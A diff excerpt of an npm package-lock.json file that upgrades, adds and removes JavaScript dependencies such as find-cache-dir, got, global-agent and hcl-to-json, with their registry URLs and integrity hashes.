+ "integrity": "sha512-Z1XUXny6BQw9RVORz/MMjyVJHcW+tXiMRxocLEAY6gY1EfpMPwLJcQhalpMnfiGax7sBqXkv3tE8sZO71Q7Hbw=="
},
"fill-range": {
"version": "4.0.0",
@@ -6055,14 +8919,74 @@
}
},
"find-cache-dir": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-2.1.0.tgz",
- "integrity": "sha512-Tq6PixE0w/VMFfCgbONnkiQIVol/JJL7nRMi20fqzA4NRs9AfeqMGeRdPi3wIhYkxjeBaWh2rxwapn5Tu3IqOQ==",
+ "version": "3.3.1",
+ "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.1.tgz",
+ "integrity": "sha512-t2GDMt3oGC/v+BMwzmllWDuJF/xcDtE5j/fCGbqDD7OLuJkj0cfh1YSA5VKPvwMeLFLNDBkwOKZ2X85jGLVftQ==",
"dev": true,
"requires": {
"commondir": "^1.0.1",
- "make-dir": "^2.0.0",
- "pkg-dir": "^3.0.0"
+ "make-dir": "^3.0.2",
+ "pkg-dir": "^4.1.0"
+ },
+ "dependencies": {
+ "find-up": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
+ "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+ "dev": true,
+ "requires": {
+ "locate-path": "^5.0.0",
+ "path-exists": "^4.0.0"
+ }
+ },
+ "locate-path": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
+ "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+ "dev": true,
+ "requires": {
+ "p-locate": "^4.1.0"
+ }
+ },
+ "make-dir": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+ "dev": true,
+ "requires": {
+ "semver": "^6.0.0"
+ }
+ },
+ "p-locate": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
+ "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+ "dev": true,
+ "requires": {
+ "p-limit": "^2.2.0"
+ }
+ },
+ "path-exists": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz",
+ "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==",
+ "dev": true
+ },
+ "pkg-dir": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz",
+ "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==",
+ "dev": true,
+ "requires": {
+ "find-up": "^4.0.0"
+ }
+ },
+ "semver": {
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
+ "dev": true
+ }
}
},
"find-root": {
@@ -6198,7 +9122,8 @@
"fs-constants": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz",
- "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow=="
+ "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==",
+ "dev": true
},
"fs-extra": {
"version": "8.1.0",
@@ -6211,6 +9136,15 @@
"universalify": "^0.1.0"
}
},
+ "fs-minipass": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz",
+ "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==",
+ "dev": true,
+ "requires": {
+ "minipass": "^3.0.0"
+ }
+ },
"fs-readdir-recursive": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz",
@@ -6232,7 +9166,8 @@
"fs.realpath": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
- "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8="
+ "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=",
+ "dev": true
},
"fsevents": {
"version": "1.2.13",
@@ -6257,47 +9192,11 @@
"rimraf": "2"
}
},
- "ftp": {
- "version": "0.3.10",
- "resolved": "https://registry.npmjs.org/ftp/-/ftp-0.3.10.tgz",
- "integrity": "sha1-kZfYYa2BQvPmPVqDv+TFn3MwiF0=",
- "requires": {
- "readable-stream": "1.1.x",
- "xregexp": "2.0.0"
- },
- "dependencies": {
- "isarray": {
- "version": "0.0.1",
- "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
- "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8="
- },
- "readable-stream": {
- "version": "1.1.14",
- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz",
- "integrity": "sha1-fPTFTvZI44EwhMY23SB54WbAgdk=",
- "requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.1",
- "isarray": "0.0.1",
- "string_decoder": "~0.10.x"
- }
- },
- "string_decoder": {
- "version": "0.10.31",
- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz",
- "integrity": "sha1-YuIDvEF2bGwoyfyEMB2rHFMQ+pQ="
- },
- "xregexp": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/xregexp/-/xregexp-2.0.0.tgz",
- "integrity": "sha1-UqY+VsoLhKfzpfPWGHLxJq16WUM="
- }
- }
- },
"function-bind": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz",
- "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A=="
+ "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==",
+ "dev": true
},
"functional-red-black-tree": {
"version": "1.0.1",
@@ -6331,9 +9230,9 @@
}
},
"gensync": {
- "version": "1.0.0-beta.1",
- "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.1.tgz",
- "integrity": "sha512-r8EC6NO1sngH/zdD9fiRDLdcgnbayXah+mLgManTaIZJqEC1MZstmnox8KpnI2/fxQwrp5OpCOYWLp4rBl4Jcg==",
+ "version": "1.0.0-beta.2",
+ "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
+ "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",
"dev": true
},
"get-caller-file": {
@@ -6342,6 +9241,17 @@
"integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
"dev": true
},
+ "get-intrinsic": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz",
+ "integrity": "sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==",
+ "dev": true,
+ "requires": {
+ "function-bind": "^1.1.1",
+ "has": "^1.0.3",
+ "has-symbols": "^1.0.1"
+ }
+ },
"get-stdin": {
"version": "4.0.1",
"resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz",
@@ -6352,23 +9262,11 @@
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
"integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
+ "dev": true,
"requires": {
"pump": "^3.0.0"
}
},
- "get-uri": {
- "version": "2.0.4",
- "resolved": "https://registry.npmjs.org/get-uri/-/get-uri-2.0.4.tgz",
- "integrity": "sha512-v7LT/s8kVjs+Tx0ykk1I+H/rbpzkHvuIq87LmeXptcf5sNWm9uQiwjNAt94SJPA1zOlCntmnOlJvVWKmzsxG8Q==",
- "requires": {
- "data-uri-to-buffer": "1",
- "debug": "2",
- "extend": "~3.0.2",
- "file-uri-to-path": "1",
- "ftp": "~0.3.10",
- "readable-stream": "2"
- }
- },
"get-value": {
"version": "2.0.6",
"resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz",
@@ -6388,6 +9286,7 @@
"version": "7.1.6",
"resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz",
"integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==",
+ "dev": true,
"requires": {
"fs.realpath": "^1.0.0",
"inflight": "^1.0.4",
@@ -6427,12 +9326,54 @@
"process": "^0.11.10"
}
},
- "global-dirs": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-2.0.1.tgz",
- "integrity": "sha512-5HqUqdhkEovj2Of/ms3IeS/EekcO54ytHRLV4PEY2rhRwrHXLQjeVEES0Lhka0xwNDtGYn58wyC4s5+MHsOO6A==",
+ "global-agent": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/global-agent/-/global-agent-2.2.0.tgz",
+ "integrity": "sha512-+20KpaW6DDLqhG7JDiJpD1JvNvb8ts+TNl7BPOYcURqCrXqnN1Vf+XVOrkKJAFPqfX+oEhsdzOj1hLWkBTdNJg==",
+ "dev": true,
"requires": {
- "ini": "^1.3.5"
+ "boolean": "^3.0.1",
+ "core-js": "^3.6.5",
+ "es6-error": "^4.1.1",
+ "matcher": "^3.0.0",
+ "roarr": "^2.15.3",
+ "semver": "^7.3.2",
+ "serialize-error": "^7.0.1"
+ },
+ "dependencies": {
+ "lru-cache": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+ "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+ "dev": true,
+ "requires": {
+ "yallist": "^4.0.0"
+ }
+ },
+ "semver": {
+ "version": "7.3.5",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz",
+ "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==",
+ "dev": true,
+ "requires": {
+ "lru-cache": "^6.0.0"
+ }
+ },
+ "yallist": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
+ "dev": true
+ }
+ }
+ },
+ "global-dirs": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-2.1.0.tgz",
+ "integrity": "sha512-MG6kdOUh/xBnyo9cJFeIKkLEc1AyFq42QTU4XiX51i2NEdxLxLWXIjEjmqKeSuKR7pAZjTqUVoT2b2huxVLgYQ==",
+ "dev": true,
+ "requires": {
+ "ini": "1.3.7"
}
},
"global-modules": {
@@ -6461,10 +9402,19 @@
"integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==",
"dev": true
},
+ "globalthis": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.2.tgz",
+ "integrity": "sha512-ZQnSFO1la8P7auIOQECnm0sSuoMeaSq0EEdXMBFF2QJO4uNcwbyhSgG3MruWNbFTqCLmxVwGOl7LZ9kASvHdeQ==",
+ "dev": true,
+ "requires": {
+ "define-properties": "^1.1.3"
+ }
+ },
"globby": {
- "version": "11.0.0",
- "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.0.tgz",
- "integrity": "sha512-iuehFnR3xu5wBBtm4xi0dMe92Ob87ufyu/dHwpDYfbcpYpIbrO5OnS8M1vWvrBhSGEJ3/Ecj7gnX76P8YxpPEg==",
+ "version": "11.0.3",
+ "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.3.tgz",
+ "integrity": "sha512-ffdmosjA807y7+lA1NM0jELARVmYul/715xiILEjo3hBLPTcirgQNnXECn5g3mtR8TOLCVbkfua1Hpen25/Xcg==",
"dev": true,
"requires": {
"array-union": "^2.1.0",
@@ -6476,9 +9426,9 @@
},
"dependencies": {
"ignore": {
- "version": "5.1.4",
- "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.4.tgz",
- "integrity": "sha512-MzbUSahkTW1u7JpKKjY7LCARd1fU5W2rLdxlM4kdkayuCwZImjkpluF9CM1aLewYJguPDqewLam18Y6AU69A8A==",
+ "version": "5.1.8",
+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.8.tgz",
+ "integrity": "sha512-BMpfD7PpiETpBl/A6S498BaIJ6Y/ABT93ETbby2fP00v4EbvPBXWEoaR1UBPKs3iR53pJY7EtZk5KACI57i1Uw==",
"dev": true
},
"slash": {
@@ -6516,18 +9466,19 @@
}
},
"got": {
- "version": "11.6.0",
- "resolved": "https://registry.npmjs.org/got/-/got-11.6.0.tgz",
- "integrity": "sha512-ErhWb4IUjQzJ3vGs3+RR12NWlBDDkRciFpAkQ1LPUxi6OnwhGj07gQxjPsyIk69s7qMihwKrKquV6VQq7JNYLA==",
+ "version": "11.4.0",
+ "resolved": "https://registry.npmjs.org/got/-/got-11.4.0.tgz",
+ "integrity": "sha512-XysJZuZNVpaQ37Oo2LV90MIkPeYITehyy1A0QzO1JwOXm8EWuEf9eeGk2XuHePvLEGnm9AVOI37bHwD6KYyBtg==",
+ "dev": true,
"requires": {
- "@sindresorhus/is": "^3.1.1",
+ "@sindresorhus/is": "^2.1.1",
"@szmarczak/http-timer": "^4.0.5",
"@types/cacheable-request": "^6.0.1",
"@types/responselike": "^1.0.0",
"cacheable-lookup": "^5.0.3",
"cacheable-request": "^7.0.1",
"decompress-response": "^6.0.0",
- "http2-wrapper": "^1.0.0-beta.5.2",
+ "http2-wrapper": "^1.0.0-beta.4.5",
"lowercase-keys": "^2.0.0",
"p-cancelable": "^2.0.0",
"responselike": "^2.0.0"
@@ -6536,17 +9487,20 @@
"graceful-fs": {
"version": "4.2.4",
"resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz",
- "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw=="
+ "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==",
+ "dev": true
},
"grapheme-splitter": {
"version": "1.0.4",
"resolved": "https://registry.npmjs.org/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz",
- "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ=="
+ "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==",
+ "dev": true
},
"gunzip-maybe": {
"version": "1.4.2",
"resolved": "https://registry.npmjs.org/gunzip-maybe/-/gunzip-maybe-1.4.2.tgz",
"integrity": "sha512-4haO1M4mLO91PW57BMsDFf75UmwoRX0GkdD+Faw+Lr+r/OZrOCS0pIBwOL1xCKQqnQzbNFGgK2V2CpBUPeFNTw==",
+ "dev": true,
"requires": {
"browserify-zlib": "^0.1.4",
"is-deflate": "^1.0.0",
@@ -6554,21 +9508,6 @@
"peek-stream": "^1.1.0",
"pumpify": "^1.3.3",
"through2": "^2.0.3"
- },
- "dependencies": {
- "browserify-zlib": {
- "version": "0.1.4",
- "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.1.4.tgz",
- "integrity": "sha1-uzX4pRn2AOD6a4SFJByXnQFB+y0=",
- "requires": {
- "pako": "~0.2.0"
- }
- },
- "pako": {
- "version": "0.2.9",
- "resolved": "https://registry.npmjs.org/pako/-/pako-0.2.9.tgz",
- "integrity": "sha1-8/dSL073gjSNqBYbrZ7P1Rv4OnU="
- }
}
},
"handle-thing": {
@@ -6603,6 +9542,7 @@
"version": "1.0.3",
"resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz",
"integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==",
+ "dev": true,
"requires": {
"function-bind": "^1.1.1"
}
@@ -6616,6 +9556,12 @@
"ansi-regex": "^2.0.0"
}
},
+ "has-bigints": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.0.1.tgz",
+ "integrity": "sha512-LSBS2LjbNBTf6287JEbEzvJgftkF5qFkmCo9hDRpAzKhUOlJ+hx8dd4USs00SgsUNwc4617J9ki5YtEClM2ffA==",
+ "dev": true
+ },
"has-flag": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
@@ -6624,7 +9570,8 @@
"has-symbols": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.1.tgz",
- "integrity": "sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg=="
+ "integrity": "sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==",
+ "dev": true
},
"has-unicode": {
"version": "2.0.1",
@@ -6667,7 +9614,8 @@
"has-yarn": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/has-yarn/-/has-yarn-2.1.0.tgz",
- "integrity": "sha512-UqBRqi4ju7T+TqGNdqAO0PaSVGsDGJUBQvk9eUWNGRY1CFGDzYhLWoM7JQEemnlvVcv/YEmc2wNW8BC24EnUsw=="
+ "integrity": "sha512-UqBRqi4ju7T+TqGNdqAO0PaSVGsDGJUBQvk9eUWNGRY1CFGDzYhLWoM7JQEemnlvVcv/YEmc2wNW8BC24EnUsw==",
+ "dev": true
},
"hash-base": {
"version": "3.1.0",
@@ -6709,6 +9657,34 @@
"minimalistic-assert": "^1.0.1"
}
},
+ "hcl-to-json": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/hcl-to-json/-/hcl-to-json-0.1.1.tgz",
+ "integrity": "sha512-sj1RPsdgX/ilBGZGnyjbSHQbRe20hyA6VDXYBGJedHSCdwSWkr/7tr85N7FGeM7KvBjIQX7Gl897bo0Ug73Z/A==",
+ "dev": true,
+ "requires": {
+ "debug": "^3.0.1",
+ "lodash.get": "^4.4.2",
+ "lodash.set": "^4.3.2"
+ },
+ "dependencies": {
+ "debug": {
+ "version": "3.2.7",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+ "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+ "dev": true,
+ "requires": {
+ "ms": "^2.1.1"
+ }
+ },
+ "ms": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+ "dev": true
+ }
+ }
+ },
"he": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz",
@@ -6759,7 +9735,8 @@
"hosted-git-info": {
"version": "2.8.8",
"resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.8.tgz",
- "integrity": "sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg=="
+ "integrity": "sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg==",
+ "dev": true
},
"hpack.js": {
"version": "2.1.6",
@@ -6904,7 +9881,8 @@
"http-cache-semantics": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz",
- "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ=="
+ "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==",
+ "dev": true
},
"http-deceiver": {
"version": "1.2.7",
@@ -6916,6 +9894,7 @@
"version": "1.7.2",
"resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz",
"integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==",
+ "dev": true,
"requires": {
"depd": "~1.1.2",
"inherits": "2.0.3",
@@ -6927,7 +9906,8 @@
"inherits": {
"version": "2.0.3",
"resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
- "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
+ "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=",
+ "dev": true
}
}
},
@@ -6942,25 +9922,6 @@
"requires-port": "^1.0.0"
}
},
- "http-proxy-agent": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-2.1.0.tgz",
- "integrity": "sha512-qwHbBLV7WviBl0rQsOzH6o5lwyOIvwp/BdFnvVxXORldu5TmjFfjzBcWUWS5kWAZhmv+JtiDhSuQCp4sBfbIgg==",
- "requires": {
- "agent-base": "4",
- "debug": "3.1.0"
- },
- "dependencies": {
- "debug": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz",
- "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==",
- "requires": {
- "ms": "2.0.0"
- }
- }
- }
- },
"http-proxy-middleware": {
"version": "0.19.1",
"resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.19.1.tgz",
@@ -6985,19 +9946,13 @@
}
},
"http2-wrapper": {
- "version": "1.0.0-beta.5.2",
- "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.0-beta.5.2.tgz",
- "integrity": "sha512-xYz9goEyBnC8XwXDTuC/MZ6t+MrKVQZOk4s7+PaDkwIsQd8IwqvM+0M6bA/2lvG8GHXcPdf+MejTUeO2LCPCeQ==",
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz",
+ "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==",
+ "dev": true,
"requires": {
"quick-lru": "^5.1.1",
"resolve-alpn": "^1.0.0"
- },
- "dependencies": {
- "quick-lru": {
- "version": "5.1.1",
- "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz",
- "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA=="
- }
}
},
"https-browserify": {
@@ -7006,30 +9961,6 @@
"integrity": "sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=",
"dev": true
},
- "https-proxy-agent": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-3.0.1.tgz",
- "integrity": "sha512-+ML2Rbh6DAuee7d07tYGEKOEi2voWPUGan+ExdPbPW6Z3svq+JCqr0v8WmKPOkz1vOVykPCBSuobe7G8GJUtVg==",
- "requires": {
- "agent-base": "^4.3.0",
- "debug": "^3.1.0"
- },
- "dependencies": {
- "debug": {
- "version": "3.2.6",
- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
- "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
- "requires": {
- "ms": "^2.1.1"
- }
- },
- "ms": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
- }
- }
- },
"iconv-lite": {
"version": "0.4.24",
"resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
@@ -7067,7 +9998,8 @@
"immediate": {
"version": "3.0.6",
"resolved": "https://registry.npmjs.org/immediate/-/immediate-3.0.6.tgz",
- "integrity": "sha1-nbHb0Pr43m++D13V5Wu2BigN5ps="
+ "integrity": "sha1-nbHb0Pr43m++D13V5Wu2BigN5ps=",
+ "dev": true
},
"import-fresh": {
"version": "3.2.1",
@@ -7079,9 +10011,9 @@
}
},
"import-lazy": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-4.0.0.tgz",
- "integrity": "sha512-rKtvo6a868b5Hu3heneU+L4yEQ4jYKLtjpnPeUdK7h0yzXGmyBTypknlkCvHFBqfX9YlorEiMM6Dnq/5atfHkw==",
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/import-lazy/-/import-lazy-2.1.0.tgz",
+ "integrity": "sha1-BWmOPUXIjo1+nZLLBYTnfwlvPkM=",
"dev": true
},
"import-local": {
@@ -7097,7 +10029,8 @@
"imurmurhash": {
"version": "0.1.4",
"resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",
- "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o="
+ "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=",
+ "dev": true
},
"in-publish": {
"version": "2.0.1",
@@ -7130,6 +10063,7 @@
"version": "1.0.6",
"resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
"integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=",
+ "dev": true,
"requires": {
"once": "^1.3.0",
"wrappy": "1"
@@ -7138,12 +10072,14 @@
"inherits": {
"version": "2.0.4",
"resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
- "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
